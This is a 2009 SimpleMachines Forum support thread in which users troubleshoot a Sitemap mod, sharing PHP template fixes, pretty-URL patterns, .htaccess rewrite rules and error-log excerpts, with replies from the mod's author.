Post by: malcomxar on May 07, 2009, 06:55:15 PM
Hi, tried that bur didn't work =/
Title: Re: Sitemap
Post by: SlammedDime on May 07, 2009, 08:25:29 PM
Did you try reducing it any further?
Title: Re: Sitemap
Post by: Özgür on May 08, 2009, 12:48:32 AM
2.0 version of this mod not support pretty url (in xml)
So i try
find

echo '<?xml version="1.0" encoding="UTF-8"?>

add before


$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';

(this is your code in 1.x version )
And compatible now.

I have one question. Why Sitemap showing my recycle board topics?
Title: Re: Sitemap
Post by: SlammedDime on May 08, 2009, 01:38:57 AM
well technically they are still topics on your board, although that is a good thought, to exclude that in the next version... if your recycle board is not visible to guests, it will not show in the XML sitemap to google, so no worry.  It only shows topics that are visible to the user viewing the sitemap.
Title: Re: Sitemap
Post by: helpdivya on May 09, 2009, 11:15:56 AM
I made the chages to my default/sitemap.template.phpthat you told me above but when I click on sitemap ie http://ekhichdi.com/sitemap I get parser error message.

My sitemap.template.php is below as per your changes.
<?php// Version 2.0.0; Sitemapfunction template_sitemap_list(){ global $context, $scripturl, 

$txt; template_show_list('sitemap_list');}function template_xml_list(){ global 

$context$scripturl$modSettings;


$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';



echo '<?xml version="1.0" encoding="UTF-8"?>
<urlset

xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9

http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">'; echo ' <url>

<loc>', fix_possible_url($scripturl), '</loc> <lastmod>',

$context['sitemap']['main']['time'], '</lastmod>

<changefreq>always</changefreq> <priority>1.0</priority> </url>'; if

(isset($context['sitemap']['board'])) foreach ($context['sitemap']['board'] as

$board) echo ' <url> <loc>', $board['url'], '</loc>

<lastmod>', $board['time'], '</lastmod> <changefreq>daily</changefreq>

<priority>', $board['priority'], '</priority> </url>'; if

(isset($context['sitemap']['topic'])) foreach ($context['sitemap']['topic'] as

$topic) echo ' <url> <loc>', $topic['url'], '</loc>

<lastmod>', $topic['time'], '</lastmod> <changefreq>', $topic['changefreq'],

'</changefreq> <priority>', $topic['priority'], '</priority> </url>'; echo

'</urlset>';}?>
Title: Re: Sitemap
Post by: Özgür on May 09, 2009, 11:17:40 AM
This url work fine for me.. But not prettyied for urls.

Edit :
Find
echo <?xml version="1.0" encoding="UTF-8"?><urlset
replace
echo'<?xml version="1.0" encoding="UTF-8"?><urlset
Title: Re: Sitemap
Post by: claudio_o on May 10, 2009, 06:16:25 PM
Hi and thank you for this nice mod. :)
It runs fine except for the 'Show Sitemap XML link' option. If unchecked it always shows the Sitemap link, even to guest users. What could be the problem?
I'm using SMF 1.1.8 + TP last beta and SMF default theme.
Title: Re: Sitemap
Post by: SlammedDime on May 10, 2009, 08:16:30 PM
You're the first person to report that claudio... Can you disable it and send me a link to your site?
Title: Re: Sitemap
Post by: claudio_o on May 10, 2009, 09:22:27 PM
Now it is disabled. Here's the url: www.mysammy.it/prova. It's a clean install of SMF 1.1.8 with just TinyPortal and your mod.
Title: Re: Sitemap
Post by: SlammedDime on May 10, 2009, 10:19:22 PM
I don't see the xml link...

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Feasycaptures.com%2Ffs%2Fuploaded%2F230%2F8374298078.png&hash=e2990b9452a81a1c93f2cf0d6b2a41ad7030a7f4)
Title: Re: Sitemap
Post by: Wesker28 on May 11, 2009, 01:03:43 AM
Hello,

I'm running DarkBreak Theme by Dziner studio with TP and SMF 1.1.8 version.

If I try to apply the sitemap Mod, I get this error:

"Error in Package Installation

At least one error was encountered during a test installation of this package. It is strongly recommended that you do not continue with installation unless you know what you are doing, and have made a backup very recently. This error may be caused by a conflict between the package you're trying to install and another package you have already installed, an error in the package, a package which requires another package that you don't have installed yet, or a package designed for another version of SMF. "

Execute Modification ./Themes/default/index.template.php Test failed

Is this because of the theme and TP? Please help
Title: Re: Sitemap
Post by: SlammedDime on May 11, 2009, 05:53:25 AM
It's because of TP - the fix is at the bottom of the first post of this topic...
Title: Re: Sitemap
Post by: claudio_o on May 11, 2009, 05:56:42 AM
Quote from: SlammedDime on May 10, 2009, 10:19:22 PM
I don't see the xml link...

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Feasycaptures.com%2Ffs%2Fuploaded%2F230%2F8374298078.png&hash=e2990b9452a81a1c93f2cf0d6b2a41ad7030a7f4)
Ok my bad. I thought the option was intended to remove the Sitemap link beside the copyright.

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fimg24.imageshack.us%2Fimg24%2F5405%2Fsitemaplink.jpg&hash=5c98fdc098d0e6b3b8a92b370bb1fc643d391cf0)

Sorry. :)
Title: Re: Sitemap
Post by: Wesker28 on May 11, 2009, 07:01:58 AM
Mine's different. It's showing this...

', theme_copyright(), '<br />', tportal_version(), ' | DarkBreak by <a href="http://www.dzinerstudio.com" target="_blank">DzinerStudio</a><br />';

   // Show the load time?
   if ($context['show_load_time'])
Title: Re: Sitemap
Post by: SlammedDime on May 11, 2009, 03:18:13 PM
You can add the link anywhere you want... it doesn't have to be in a specific spot.
Title: Re: Sitemap
Post by: bjraines on May 13, 2009, 01:36:52 PM
Quote from: Özgür´ on May 08, 2009, 12:48:32 AM
2.0 version of this mod not support pretty url (in xml)
So i try
find

echo '<?xml version="1.0" encoding="UTF-8"?>

add before


$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';

(this is your code in 1.x version )
And compatible now.

I have one question. Why Sitemap showing my recycle board topics?


is this the only change that has to be made to make sitemap work with pretty url?
Title: Re: Sitemap
Post by: Özgür on May 13, 2009, 01:55:39 PM
Quote from: bjraines on May 13, 2009, 01:36:52 PM
Quote from: Özgür´ on May 08, 2009, 12:48:32 AM
2.0 version of this mod not support pretty url (in xml)
So i try
find

echo '<?xml version="1.0" encoding="UTF-8"?>

add before


$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';

(this is your code in 1.x version )
And compatible now.

I have one question. Why Sitemap showing my recycle board topics?


is this the only change that has to be made to make sitemap work with pretty url?
This is worked for me. So yeap =)
Title: Re: Sitemap
Post by: bjraines on May 13, 2009, 02:17:22 PM
That weird because there is another hack somewhere to makes it work also.

What file do you do this in?

Is it a replace or just an addition?
Title: Re: Sitemap
Post by: Özgür on May 13, 2009, 02:22:54 PM
This file sitemap.template.php in default theme.  This is find - add before function not any replace.
Title: Re: Sitemap
Post by: bjraines on May 13, 2009, 04:07:20 PM
Yes that did work but pulling up my sitemap seems a bit slower now. Any reason do you think?

I am curious , what determines which URLs are in the sitemap.

I seem to have a random bunch of URLs. Some from this date, some from that date, so from this board other from that.

I only have a very small fraction of the URLs that are there. For instance, I have only 1 topic out of 6 topics posted yesterday.
Title: Re: Sitemap
Post by: Özgür on May 13, 2009, 04:36:41 PM
This code find any topic or board URLs , replace them to pretty URLs style. So maybe this may slow down sitemap loading. But this is no problem.
This is only for xml sitemap and xml sitemap    takes a long time not problem for google or other search engines.

QuoteI seem to have a random bunch of URLs. Some from this date, some from that date, so from this board other from that.

I only have a very small fraction of the URLs that are there. For instance, I have only 1 topic out of 6 topics posted yesterday.

I don't know this. And i guess this is not important. Important is <proirity> value. And Slameddimme set a very good job. proirity selected by topic updates frequency.
Title: Re: Sitemap
Post by: bjraines on May 13, 2009, 05:12:51 PM
yes i dont know much about it either, but i would like to understand also, I wonder why it does not show most of my URLs and how it picks which ones to show.

also I note that some boards that are private to my moderators show up in the sitemap
Title: Re: Sitemap
Post by: Özgür on May 13, 2009, 05:25:59 PM
Quote from: bjraines on May 13, 2009, 05:12:51 PM
yes i dont know much about it either, but i would like to understand also, I wonder why it does not show most of my URLs and how it picks which ones to show.

also I note that some boards that are private to my moderators show up in the sitemap
As my say, i don't know completely. Maybe SlammedDime answer your questions.
And your other question :
Quote from: SlammedDime on May 08, 2009, 01:38:57 AM
well technically they are still topics on your board, although that is a good thought, to exclude that in the next version... if your recycle board is not visible to guests, it will not show in the XML sitemap to google, so no worry.  It only shows topics that are visible to the user viewing the sitemap.
Title: Re: Sitemap
Post by: SlammedDime on May 13, 2009, 06:36:31 PM
bjraines, it is meant to pull all topics from the database,, and topics shown are dependent on the user browsing the XML site (thus, you may see some topics that as a guest you wouldn't see).

Can you link me to a specific topic that does not show up in the sitemap, yet you think it should?
Title: Re: Sitemap
Post by: shy2pk on May 16, 2009, 05:29:43 AM
Hi,

I have a question to ask you guys that i'm currently using this mod that is i guess working fine but i want to install it on my 2nd forum that is on my same domain

like

forum.free4pk.com .... it's working fine but i have to submit sitemap to google like this free4pk.com/sitemap.xml ....... i guess it should look like this forum.free4pk.com/sitemap.xml ......... when i give this i get error

now i want it to work at

free4pk.com/earn


so i had to change my .htaccess for the first one

Quote
RewriteEngine on
RewriteRule ^sitemap.xml$ /forum/index.php?action=sitemap;xml

now should i put another entry for the second one like this ???

Quote
RewriteEngine on
RewriteRule ^sitemap.xml$ /earn/index.php?action=sitemap;xml

is this entry right???

Thanks in advance for your replies.


Title: Re: Sitemap
Post by: SlammedDime on May 16, 2009, 05:57:37 AM
I think google doesn't require the sitemap to be in the root of your site anymore, so you would be fine just submitting the two links below without doing any .htaccess stuff..

http://forum.free4pk.com/index.php?action=sitemap;xml

and

http://www.free4pk.com/earn/index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: SlammedDime on May 18, 2009, 03:33:23 PM
Part of the issue is that the sitemap, both XML and standard, are displayed based on what the viewing user can normally see... so an admin would see all topics, including hidden boards, and vs a guest that would only see what is available to them.

I have yet to have any reports of this causing a performance hit, and the query shouldn't be that intensive, as it is properly using the table indexes and isn't retrieving a large amount of information.  Most of the issues people have had as far as white pages go and not being able to display all topics is a memory constraint in PHP, which I've addressed for the next release.  I would invite anyone with large boards to test it out if they haven't already and report any findings they have.

I will definitely take a look and see what caching can be done, both file and database based as well.  You've given some ideas between your reply and my response that I can probably make something work.   I'll probably run some benchmarks too and see what, and where this can be improved.

Thanks. :)
Title: Re: Sitemap
Post by: shanksta13 on May 19, 2009, 06:28:49 PM
I'm using a bridge with a CMS that I need to work with. My forum is located in /messageboard/, however I need the links to show up as /message-board/ (this is the wrapped version inside my CMS). Is there any way to custom code this mod to get that effect?
Title: Re: Sitemap
Post by: HR on May 20, 2009, 07:16:41 AM
Quote from: quiteperplexed on February 14, 2009, 09:04:08 PM
hello

I'm on 1.1.8 and installed your sitemap mod.  Thing seem to be ok except in the error log I get lots of these:

http://www.xxxxx/forum/index.php?action=sitemap (http://www.xxxxx/forum/index.php?action=sitemap)
Apply Filter: Only show the errors with the same message
8: Undefined index: nump
File: /home/xxxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 75

http://www.xxxxxxx/forum/index.php?action=sitemap (http://www.xxxxxxx/forum/index.php?action=sitemap)
Apply Filter: Only show the errors with the same message
8: Undefined index: numt
File: /home/xxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 74

http://www.xxxxxx/forum/index.php?action=sitemap (http://www.xxxxxx/forum/index.php?action=sitemap)
Apply Filter: Only show the errors with the same message
8: Undefined index: description
File: /home/xxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 73


http://www.xxxxxxx/forum/index.php?action=sitemap (http://www.xxxxxxx/forum/index.php?action=sitemap)
Apply Filter: Only show the errors with the same message
8: Undefined index: id
File: /home/xxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 72


http://www.xxxxxxxx/forum/index.php?action=sitemap (http://www.xxxxxxxx/forum/index.php?action=sitemap)
Apply Filter: Only show the errors with the same message
8: Undefined index: level
File: /home/xxxxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 62


http://www.xxxxxxxx/forum/index.php?action=sitemap
8: Undefined index: name
File: /home/xxxxx/public_html/forum/Themes/default/Sitemap.template.php
Line: 72


It's not a big problem as not many people seem to click on the sitemap link but each time they do, it generates these 6 errors above

thanks in advance



Anything as to a resolution for this? Its sparatic but hitting mine as well.
Title: Re: Sitemap
Post by: SlammedDime on May 20, 2009, 04:22:15 PM
It has to do with a board that is possibly hidden from guests, but it may have child boards that are not...  without a link to your site, I wouldn't be able to tell for sure.
Title: Re: Sitemap
Post by: shanksta13 on May 22, 2009, 07:40:39 PM
Quote from: shanksta13 on May 19, 2009, 06:28:49 PM
I'm using a bridge with a CMS that I need to work with. My forum is located in /messageboard/, however I need the links to show up as /message-board/ (this is the wrapped version inside my CMS). Is there any way to custom code this mod to get that effect?

Any ideas on this, it's been a few days?
Title: Re: Sitemap
Post by: SlammedDime on May 22, 2009, 08:07:21 PM
Sorry shanksta13,

If your CMS rewrite's urls properly, it should already be doing that without modifying the mod at all... the only time it may not work is on the XML urls... I checked the site in your link and it does rewrite urls properly for the normal sitemap, but your XML sitemap is messed up anyway... it has your CMS wrapped around it, which won't work.
Title: Re: Sitemap
Post by: shanksta13 on May 22, 2009, 08:18:25 PM
Quote from: SlammedDime on May 22, 2009, 08:07:21 PM
Sorry shanksta13,

If your CMS rewrite's urls properly, it should already be doing that without modifying the mod at all... the only time it may not work is on the XML urls... I checked the site in your link and it does rewrite urls properly for the normal sitemap, but your XML sitemap is messed up anyway... it has your CMS wrapped around it, which won't work.

Yeah, I see what you mean. I've actually got a working sitemap using your mod and changing the base url of the forum in my Admin settings to /message-board/ instead of /messageboard/. This writes the sitemap correctly, however it is throwing off my attachments and avatars, which no longer upload correctly as a result of this. That's why I posted on this mod to see if I could get it to rewrite to the URL /message-board/ without actually changing the forum url in the admin panel.

This is the sitemap I'm using for Google, which writes the URLs correctly. It's just throwing off my attachments and avatars. Maybe there is some way I can fix that?

http://secsportshub.com/messageboard/index.php?action=sitemap;xml
Title: Re: Sitemap
Post by: HR on May 23, 2009, 12:15:25 PM
Quote from: SlammedDime on May 20, 2009, 04:22:15 PM
It has to do with a board that is possibly hidden from guests, but it may have child boards that are not...  without a link to your site, I wouldn't be able to tell for sure.
Isnt there a place to add '@' to simply stop the reporting?
Title: Re: Sitemap
Post by: SlammedDime on May 23, 2009, 03:03:45 PM
Sure, but that's not the proper way to fix it.  Is this happening on version 2.0.0 of the sitemap? or only the 1.1.x line?

Shanksta - I suppose you could just modify the Source file to use your own link instead of the scripturl variable... just do a search for the scripturl variable and replace it's context with whatever you wish in the Sitemap.php source file.
Title: Re: Sitemap
Post by: HR on May 23, 2009, 03:58:58 PM
1x line
Title: Re: Sitemap
Post by: dopod on May 27, 2009, 09:21:49 AM

I really have a doubt regarding this sitemap, i have already installed sitemap mode in SMF 1.18.

Watz the next step, should i submit the xml link to google webmasters, if so, how can i do it.  Please help me!!!!!!
Title: Re: Sitemap
Post by: SlammedDime on May 27, 2009, 03:23:38 PM
I don't know what 'doubt' you have about anything... The next step is whatever you want to make it... you can submit to google or just kick back and relax.
Title: Re: Sitemap
Post by: cartpauj on May 27, 2009, 07:48:40 PM
Sitemap appears to functioning properly but whenever I view it I get these errors in my error log.

Thanks for any help in advance.

QuoteApply Filter: Only show the error messages of this member  cartpauj       Today at 05:41:38 PM
Apply Filter: Only show the error messages of this IP address 75.169.19.21      Apply Filter: Only show the error messages of this session 955235c948c280c9e033c379a05bbcab
Apply Filter: Only show the error messages of this URL http://dewaltownersgroup.com/index.php?action=sitemap
Apply Filter: Only show the errors with the same message
8: Undefined index: uniquecounter
File: /home/l4jw9ngz/public_html/dewaltownersgroup/Sources/UniqueCounter.php
Line: 26
   
Apply Filter: Only show the error messages of this member cartpauj    Today at 05:41:38 PM
Apply Filter: Only show the error messages of this IP address 75.169.19.21      Apply Filter: Only show the error messages of this session 955235c948c280c9e033c379a05bbcab
Apply Filter: Only show the error messages of this URL http://dewaltownersgroup.com/index.php?action=sitemap
Apply Filter: Only show the errors with the same message
8: Undefined index: sitemap_boards
File: /home/l4jw9ngz/public_html/dewaltownersgroup/Themes/default/Sitemap.template.php (Boards sub template - eval?)
Line: 131
   
Apply Filter: Only show the error messages of this member cartpauj    Today at 05:41:38 PM
Apply Filter: Only show the error messages of this IP address 75.169.19.21      Apply Filter: Only show the error messages of this session 955235c948c280c9e033c379a05bbcab
Apply Filter: Only show the error messages of this URL http://dewaltownersgroup.com/index.php?action=sitemap
Apply Filter: Only show the errors with the same message
8: Undefined index: sitemap
File: /home/l4jw9ngz/public_html/dewaltownersgroup/Themes/default/Sitemap.template.php (Boards sub template - eval?)
Line: 9
   
Apply Filter: Only show the error messages of this member cartpauj    Today at 05:41:38 PM
Apply Filter: Only show the error messages of this IP address 75.169.19.21      Apply Filter: Only show the error messages of this session 955235c948c280c9e033c379a05bbcab
Apply Filter: Only show the error messages of this URL http://dewaltownersgroup.com/index.php?action=sitemap
Apply Filter: Only show the errors with the same message
8: Undefined index: sitemap
File: /home/l4jw9ngz/public_html/dewaltownersgroup/Sources/Sitemap.php
Line: 29
   
Apply Filter: Only show the error messages of this member cartpauj    Today at 05:41:37 PM
Apply Filter: Only show the error messages of this IP address 75.169.19.21      Apply Filter: Only show the error messages of this session 955235c948c280c9e033c379a05bbcab
Apply Filter: Only show the error messages of this URL http://dewaltownersgroup.com/index.php?action=sitemap
Apply Filter: Only show the errors with the same message
8: Undefined index: sitemap
File: /home/l4jw9ngz/public_html/dewaltownersgroup/Sources/Sitemap.php
Line: 22
Title: Re: Sitemap
Post by: SlammedDime on May 27, 2009, 08:42:18 PM
Sounds like you're missing the language strings.  Make sure they're in Modifications.[yourlanguage].php for every language you have installed.
Title: Re: Sitemap
Post by: cartpauj on May 27, 2009, 09:17:21 PM
You're a genious! I had my forum in English.UTF8 mode.  I set it to English and that fixed a whole bunch of problems I was having.  Thanks for the great mod!
Title: Re: Sitemap
Post by: krick on May 28, 2009, 02:44:50 AM
Are there any known (or anticipated) issues with installing SMF Sitemap 1.2.2 on SMF 1.1.9?

I uninstalled it before upgrading from 1.1.8 to 1.1.9 and then re-installed it.

When I click on the sitemap link at the bottom of my main page, it just reloads the the main forum page.  There are no errors in the log, so I'm not sure where to look to resolve this.
Title: Re: Sitemap
Post by: dopod on May 28, 2009, 08:37:18 AM


Brother I am a newbie, so please help me...How to submit this sitemap to google, thats my doubt.  Please guide me..........



Title: Re: Sitemap
Post by: SlammedDime on May 28, 2009, 10:26:46 AM
Quote from: krick on May 28, 2009, 02:44:50 AM
Are there any known (or anticipated) issues with installing SMF Sitemap 1.2.2 on SMF 1.1.9?

I uninstalled it before upgrading from 1.1.8 to 1.1.9 and then re-installed it.

When I click on the sitemap link at the bottom of my main page, it just reloads the the main forum page.  There are no errors in the log, so I'm not sure where to look to resolve this.
Normally that would mean that it did not install properly... only way to know is to check what edits the mod normally makes and compare them against your files.

Quote from: dopod on May 28, 2009, 08:37:18 AM


Brother I am a newbie, so please help me...How to submit this sitemap to google, thats my doubt.  Please guide me..........

www.google.com/webmasters/tools/
Title: Re: Sitemap
Post by: malcomxar on May 29, 2009, 12:41:26 AM
SlammedDime I wtill have the problem ofrom here

http://www.simplemachines.org/community/index.php?topic=170813.msg2047294#msg2047294

I have tried with different values but no luck

Any ideas?
Title: Re: Sitemap
Post by: SlammedDime on May 29, 2009, 02:24:10 AM
Try with just 1 topic and see if it works...
Title: Re: Sitemap
Post by: malcomxar on May 30, 2009, 01:44:49 AM
LOL, I don't know why but it fixed on its own...

It's working now xD

Regards!
Title: Re: Sitemap
Post by: Dzonny on May 30, 2009, 08:25:49 AM
Hi to all,
I'm using this mod on my smf 1.1.9 forum, and i have this errors in my error log that i cant figure out where they come from...
Just to say that i'm already chek all files, and all codes are there, so nothing's missing...

Guest    Today at 01:19:30 PM
Apply Filter: Only show the error messages of this IP address 93.87.190.167    Apply Filter: Only show the error messages of this session baf5f10ee43a93c532d195db36491e52
Apply Filter: Only show the error messages of this URL http://www.samo-opusteno.info/forum/index.php?pretty;action=sitemap
Apply Filter: Only show the errors with the same message
8: Undefined index: nump
File: /home/samoo/public_html/forum/Themes/dilbermc/Sitemap.template.php
Line: 75


Sitemap Link: http://www.samo-opusteno.info/forum/index.php?action=sitemap
If anyone can help with this errors it would be very appreciate...
Regards.
Title: Re: Sitemap
Post by: SlammedDime on May 30, 2009, 03:19:20 PM
Quote from: SlammedDime on May 20, 2009, 04:22:15 PM
It has to do with a board that is possibly hidden from guests, but it may have child boards that are not...  without a link to your site, I wouldn't be able to tell for sure.

Since I've stopped development on the mod for SMF 1.1.x, I don't really plan on fixing the queries and re-releasing the mod.  If someone is able to come up with a fix, I'd be more than happy to post it in the first post of the topic for people to apply.
Title: Re: Sitemap
Post by: krick on May 31, 2009, 01:13:09 AM
Quote from: SlammedDime on May 28, 2009, 10:26:46 AM

Quote from: krick on May 28, 2009, 02:44:50 AM
Are there any known (or anticipated) issues with installing SMF Sitemap 1.2.2 on SMF 1.1.9?

I uninstalled it before upgrading from 1.1.8 to 1.1.9 and then re-installed it.

When I click on the sitemap link at the bottom of my main page, it just reloads the the main forum page.  There are no errors in the log, so I'm not sure where to look to resolve this.

Normally that would mean that it did not install properly... only way to know is to check what edits the mod normally makes and compare them against your files.


Yep, it wasn't completely installed.

I did a clean SMF install in another folder, installed all my mods and did a diff between the folders and there were quite a few differences between the php files.  It turned out to be a file permissions issue (no big surprise there) that prevented them from installing correctly. I had a few of my SMF files and folders set to apache/apache for some reason so I set them back to the same owner/group as my other FTPd files and cleaned up the mess and everything seems ok now.

Apparently, the SMF FTP layer gets around some ownership problems, but cannot solve them all.

I can't wait for the day when Plesk starts shipping with su_php installed by default and all this apache/php ownership problem crap goes away.  :)
Title: Re: Sitemap
Post by: Dzonny on May 31, 2009, 04:25:53 AM
Anyone can help with my problem pls ?
Title: Re: Sitemap
Post by: ccraciun on June 01, 2009, 02:44:32 AM
Quote from: Dzonny on May 31, 2009, 04:25:53 AM
Anyone can help with my problem pls ?
Dzonny i can only confirm that i am using the same versions of mod & smf as you and i have no problems at all with this mod; i also checked forum error log and is clean.
The mod was installed with SMF's version 1.1.7 and until then i made only the SMF's upgrades.
Title: Re: Sitemap
Post by: neteater on June 01, 2009, 04:38:38 AM
ok i just download sitemap mod for my 1.1.9 which modification do i have to put in .htaccess this is code in my htaccess
# -FrontPage-

IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*

<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
AuthName xxxforum.atbhost.net
AuthUserFile /home2/xxxforum/public_html/_vti_pvt/service.pwd
AuthGroupFile /home2/xxxforum/public_html/_vti_pvt/service.grp
now what else to add in it
my forum url is www.mysite.com/forum
Title: Re: Sitemap
Post by: Dzonny on June 01, 2009, 05:04:47 AM
Quote from: ccraciun on June 01, 2009, 02:44:32 AM
Quote from: Dzonny on May 31, 2009, 04:25:53 AM
Anyone can help with my problem pls ?
Dzonny i can only confirm that i am using the same versions of mod & smf as you and i have no problems at all with this mod; i also checked forum error log and is clean.
The mod was installed with SMF's version 1.1.7 and until then i made only the SMF's upgrades.
I think that problem may be in guest bar warning that i have installed on my forum....
So anyone can point me how to solve this?
Title: Re: Sitemap
Post by: neteater on June 01, 2009, 11:11:40 AM
Quote from: neteater on June 01, 2009, 04:38:38 AM
ok i just download sitemap mod for my 1.1.9 which modification do i have to put in .htaccess this is code in my htaccess
# -FrontPage-

IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti*

<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
AuthName xxxforum.atbhost.net
AuthUserFile /home2/xxxforum/public_html/_vti_pvt/service.pwd
AuthGroupFile /home2/xxxforum/public_html/_vti_pvt/service.grp
now what else to add in it
my forum url is www.mysite.com/forum
any help for me
Title: Re: Sitemap
Post by: Drover on June 01, 2009, 01:08:25 PM
I'm using 1.1.9.  I got the sitemap created, but where do I change settings?  I don't see anything in the admin panel.
Title: Re: Sitemap
Post by: Dzonny on June 01, 2009, 01:18:03 PM
Admin > Features and Options >
Show Sitemap XML link     
Max number of topics to display in sitemap    
Collapse child boards in sitemap
Title: Re: Sitemap
Post by: Drover on June 01, 2009, 01:26:50 PM
Quote from: Dzonny on June 01, 2009, 01:18:03 PM
Admin > Features and Options >
Show Sitemap XML link     
Max number of topics to display in sitemap    
Collapse child boards in sitemap

Hmmmm...ok.  Weird.  For some reason I see the boxes, but not the labels next to them.  How often does the sitemap re-generate?  There's no setting for that?
Title: Re: Sitemap
Post by: SlammedDime on June 01, 2009, 03:22:58 PM
Your language strings are missing...

Quote from: SlammedDime on May 27, 2009, 08:42:18 PM
Sounds like you're missing the language strings.  Make sure they're in Modifications.[yourlanguage].php for every language you have installed.

The sitemap is generated on the fly.
Title: Re: Sitemap
Post by: Drover on June 01, 2009, 03:41:34 PM
Quote from: SlammedDime on June 01, 2009, 03:22:58 PM
Your language strings are missing...

Quote from: SlammedDime on May 27, 2009, 08:42:18 PM
Sounds like you're missing the language strings.  Make sure they're in Modifications.[yourlanguage].php for every language you have installed.

In the languages folder for the default theme I have Modifications.english-utf8.php and Modifications.english-utf8.php~.  Is that the problem, that there's two?  Neither of these is present in the language folder for the theme I'm using.
Title: Re: Sitemap
Post by: SlammedDime on June 01, 2009, 05:32:57 PM
It's fine that one has a ~ on it, but what is most important is that if you are using the UTF language as your preference in SMF, that this mod's language strings are in that file...
Title: Re: Sitemap
Post by: Drover on June 02, 2009, 09:41:01 AM
It seems to be working fine but I keep seeing these errors.  Ideas?

Quote8: Undefined index: sitemap
File: /xxxxxxxxxxxxxxxxxxxxxxxx/forum/Sources/Sitemap.php
Line: 29

8: Undefined index: sitemap
File: /xxxxxxxxxxxxxxxxxxxxxxxx/forum/Sources/Sitemap.php
Line: 22
Title: Re: Sitemap
Post by: SlammedDime on June 02, 2009, 03:15:49 PM
It's still missing the language strings.
Title: Re: Sitemap
Post by: Drover on June 02, 2009, 05:16:56 PM
Well they're there so why would they be missing? 
Title: Re: Sitemap
Post by: SlammedDime on June 02, 2009, 06:08:58 PM
If you're set to use English-utf8 strings, but the strings are only in the Modifications.english.php file, not Modifications.english-utf8.php file, then they wouldn't show up.  The language strings for this mod need to be in every Modifications.x.php file that is in the language directory.
Title: Re: Sitemap
Post by: sombra on June 03, 2009, 03:54:30 PM
hello i got to say this is a great mod really nice

but i got a little question im looking for a problem i got in google webmaster were its telling me


index.php?action=sitemap;xml  Sitemap 28/05/2009 Warnings 5231 Details


Stats of Sitemap
Total of URL: 5231
URL que se han indexado: 403

like you can see its only indezed 400 pages and im looking for the reason why and i got to the conclution the problem maybe can be betwen

pretty url mod and sitemap mod

(https://www.simplemachines.org/community/proxy.php?request=http%3A%2F%2Fimg13.imageshack.us%2Fimg13%2F6827%2Fsitemap.jpg&hash=bf3f00fe81919ce8ae3fb59e1237d8af5fdf2191)

any sugestions?

i went to the new page of microsoft bling.com and submited mi sitemap and it only

Indexed pages: 16
Title: Re: Sitemap
Post by: SlammedDime on June 03, 2009, 07:38:59 PM
Quote from: sombra on June 03, 2009, 03:54:30 PM
any sugestions?

Quote from: Özgür´ on May 08, 2009, 12:48:32 AM
2.0 version of this mod not support pretty url (in xml)
So i try
find

echo '<?xml version="1.0" encoding="UTF-8"?>

add before


$context['pretty']['search_patterns'][] = '~(<loc>)([^#<]+)~';
$context['pretty']['replace_patterns'][] = '~(<loc>)([^<]+)~';

(this is your code in 1.x version )
And compatible now.

I have one question. Why Sitemap showing my recycle board topics?
Title: Re: Sitemap
Post by: sombra on June 03, 2009, 11:07:42 PM
thanks did thats hope it works :D
Title: Re: Sitemap
Post by: MCK on June 03, 2009, 11:58:27 PM
Quote from: cooloolo on May 01, 2009, 02:44:48 AM
I found out that my sitmap d´ont work within the www. in my url. If I use the sitemapurl without www. it works fine.

I get this error message with www. like this:
http://www.wolfswinkel-freiburg.de/wolfswinkel/smf/index.php?action=sitemap;xml

Working fine like this:
http://wolfswinkel-freiburg.de/wolfswinkel/smf/index.php?action=sitemap;xml

Do you know what does it mean and what I have to do?

edit: oh no, now nothing of both is working...  :(

I installed this mod on my RC 1-1 site and have the exact same outcome. Using the default template. Anyone have any ideas on how I can resolve this issue? Thanks in advance for all your help. Regards
Title: Re: Sitemap
Post by: SlammedDime on June 03, 2009, 11:59:55 PM
Looks cooloolo fixed his issue, may want to PM him to see how...  I'd be curious to know as well.
Title: Re: Sitemap
Post by: MCK on June 04, 2009, 12:02:21 AM
Thanks for your kind reply. Will do but I am confused. I click the links provided in the original post and see that the error is still there. How do you know coolo was able to resolve the issue? Thanks
Title: Re: Sitemap
Post by: SlammedDime on June 04, 2009, 12:47:17 AM
I didn't see any errors when I clicked them...
Title: Re: Sitemap
Post by: MCK on June 04, 2009, 12:54:42 AM
Hi SlammedDime. Perhaps mine is a "user-error" :-) Sorry for my ignorance but when I click the link I see the XML listing and a the top of the page I see the following message : This XML file does not appear to have any style information associated with it. The document tree is shown below.
     
Is this normal? I was thinking I would see a formatted SiteMap page. Where does one see that? Is there a complementing .php I should open up?

Thanks for all your help. Regards
Title: Re: Sitemap
Post by: MCK on June 04, 2009, 01:37:49 AM
Is working. Nevermind. User error!!!
Title: Re: Sitemap
Post by: peps1 on June 07, 2009, 02:29:10 AM
I get
       
QuoteThis XML file does not appear to have any style information associated with it. The document tree is shown below.

when clicking on the XML link, is this normal?

     
Title: Re: Sitemap
Post by: peps1 on June 07, 2009, 04:40:26 AM
also Goggle is saying its unable to read my Sitemap.

